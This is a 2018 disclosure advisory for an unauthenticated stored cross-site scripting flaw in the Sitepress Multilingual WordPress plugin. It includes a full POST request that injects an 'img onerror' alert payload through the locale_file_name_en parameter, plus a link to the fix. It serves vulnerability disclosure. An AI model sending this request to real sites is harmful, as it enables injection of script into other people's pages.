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Sitepress Multilingual 3.6.3 Cross Site Scripting

Sitepress Multilingual 3.6.3 Cross Site Scripting
Posted Oct 9, 2018
Authored by Rahul Pratap Singh

Sitepress Multilingual versions 3.6.3 and below suffer from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 7c9010fa592adfa139b51d5f93717a9cafb3c8b2d2a3f5b39055e86d560764a2

Sitepress Multilingual 3.6.3 Cross Site Scripting

Change Mirror Download
## FULL DISCLOSURE

#Product : Sitepress Multilingual CMS Plugin
#Exploit Author : Rahul Pratap Singh
#Version : 3.6.3 and Below
#Home page Link : https://wpml.org/
#Website: https://0x62626262.wordpress.com
#Date : 08/10/2018

Unauthenticated Stored XSS Vulnerability:

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Description:
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alocale_file_name_ena parameter is not sanitized that leads to stored XSS.

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Vulnerable Code:
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https://0x62626262.files.wordpress.com/2018/09/vulnerable_code.png

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Exploit:
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Send the following POST request:

POST
/wp-admin/admin.php?page=sitepress-multilingual-cms-3.6.3%2Fmenu%2Ftheme-localization.php
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101
Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
Upgrade-Insecure-Requests: 1

icl_post_action=save_theme_localization&locale_file_name_en=a><img src=x
onerror=alert(1)>

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POC:
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https://youtu.be/dKmUEqNiMUY

Fix:
Update to version 4.0

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
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